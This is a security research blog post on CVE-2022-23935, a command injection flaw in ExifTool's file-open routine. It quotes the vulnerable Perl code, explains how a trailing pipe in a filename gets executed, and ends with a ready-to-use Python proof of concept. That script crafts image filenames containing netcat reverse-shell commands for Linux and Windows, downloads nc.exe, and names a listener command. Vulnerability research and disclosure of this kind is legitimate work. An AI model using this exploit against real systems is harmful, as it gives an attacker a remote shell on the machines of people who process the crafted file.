CVE-2022-23935 - CVE Research
Introduction
🔒 CVE-2022-23935 Summary
Field | Information |
---|---|
CVE ID | CVE‑2022‑23935 |
CVSS Score | 7.8 (HIGH) |
Affected | ExifTool before version 12.38 |
Vulnerability | OS Command Injection |
Release Date | 25/01/2022 |
Methodology
lib/Image/ExifTool.pm
in ExifTool before 12.38 mishandles a $file =~ /\|$/
check, leading to command injection.
Analyst source code
I started by downloading version 12.34 from the github of Exiftool
Open the Perl file located at lib/Image/ExifTool.pm
The vulnerability was found in the Open
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
sub Open($*$;$)
{
my ($self, $fh, $file, $mode) = @_;
$file =~ s/^([\s&])/.\/$1/; # protect leading whitespace or ampersand
# default to read mode ('<') unless input is a pipe
$mode = ($file =~ /\|$/ ? '' : '<') unless $mode;
if ($mode) {
if ($self->EncodeFileName($file)) {
# handle Windows Unicode file name
local $SIG{'__WARN__'} = \&SetWarning;
my ($access, $create);
if ($mode eq '>') {
eval {
$access = Win32API::File::GENERIC_WRITE();
$create = Win32API::File::CREATE_ALWAYS();
}
} else {
eval {
$access = Win32API::File::GENERIC_READ();
$access |= Win32API::File::GENERIC_WRITE() if $mode eq '+<'; # update
$create = Win32API::File::OPEN_EXISTING();
}
}
my $share = 0;
eval {
unless ($access & Win32API::File::GENERIC_WRITE()) {
$share = Win32API::File::FILE_SHARE_READ() | Win32API::File::FILE_SHARE_WRITE();
}
};
my $wh = eval { Win32API::File::CreateFileW($file, $access, $share, [], $create, 0, []) };
return undef unless $wh;
my $fd = eval { Win32API::File::OsFHandleOpenFd($wh, 0) };
if (not defined $fd or $fd < 0) {
eval { Win32API::File::CloseHandle($wh) };
return undef;
}
$file = "&=$fd"; # specify file by descriptor
} else {
# add leading space to protect against leading characters like '>'
# in file name, and trailing "\0" to protect trailing spaces
$file = " $file\0";
}
}
return open $fh, "$mode$file";
}
$mode = ($file =~ /\|$/ ? '' : '<') unless $mode;
means: if the filename ends with |
, open a pipe ($mode = ''
), otherwise open in read mode ($mode = '<'
).
If $mode = '<'
, then the code runs: open $fh, "<$file"
(read the file).
However, $file =~ s/^([\s&])/.\/$1/;
only protects against leading whitespace or &
, and does not sanitize the rest of the filename.
If I rename the file to a.jpg|whoami|
(note: |whoami|
at the end), then $mode = ''
, so code executes: open $fh, "a.jpg|whoami|"
.
Exploitation
I tested with the file named a.jpg|whoami|
Based on the information, the file name is confirmed as a.jpg
, not a.jpg|whoami|
, which indicates that the exploit was successful. However, since a.jpg
doesn’t exist, the whoami command was not executed.
So I added the file a.jpg to the folder and renamed it to a reverse shell payload.
Also, open port 4444 on the attacker’s machine to start listening.
1
nc -lvnp 4444
After running, the file a.jpg was opened and the reverse shell connected successfully.
Try sending a message to the victim.
Now, I will write a proof of concept (PoC) for this vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import argparse
import requests
import shutil
import zipfile
import os
parser = argparse.ArgumentParser()
parser.add_argument("victim_os", help="Victim's OS: linux or windows")
parser.add_argument("attacker_ip", help="Attacker's IP address")
parser.add_argument("attacker_port", help="Attacker's port")
args = parser.parse_args()
victim_os = args.victim_os.lower()
attacker_ip = args.attacker_ip
attacker_port = args.attacker_port
image_url = "https://i.pinimg.com/736x/c9/ee/6d/c9ee6d47f7b18fc4e27dc77eb71d53d3.jpg"
response = requests.get(image_url)
with open("image.jpg", "wb") as f:
f.write(response.content)
print("[+] Image downloaded: image.jpg")
if victim_os == "linux":
malicious_name = f"image.jpg|nc {attacker_ip} {attacker_port} -e /bin/sh|"
elif victim_os == "windows":
nc_url = "https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc.exe"
response = requests.get(nc_url)
with open("nc.exe", "wb") as f:
f.write(response.content)
malicious_name = f"image.jpg|nc.exe {attacker_ip} {attacker_port} -e cmd.exe|"
else:
print("[-] Invalid OS. Only 'linux' or 'windows' are accepted.")
exit()
shutil.copyfile("image.jpg", malicious_name)
print(f"[+] Malicious file created: {malicious_name}")
print("Run: nc -lvnp " + attacker_port + " on the attacker's machine to receive the victim's connection.")
This post is licensed under CC BY 4.0 by the author.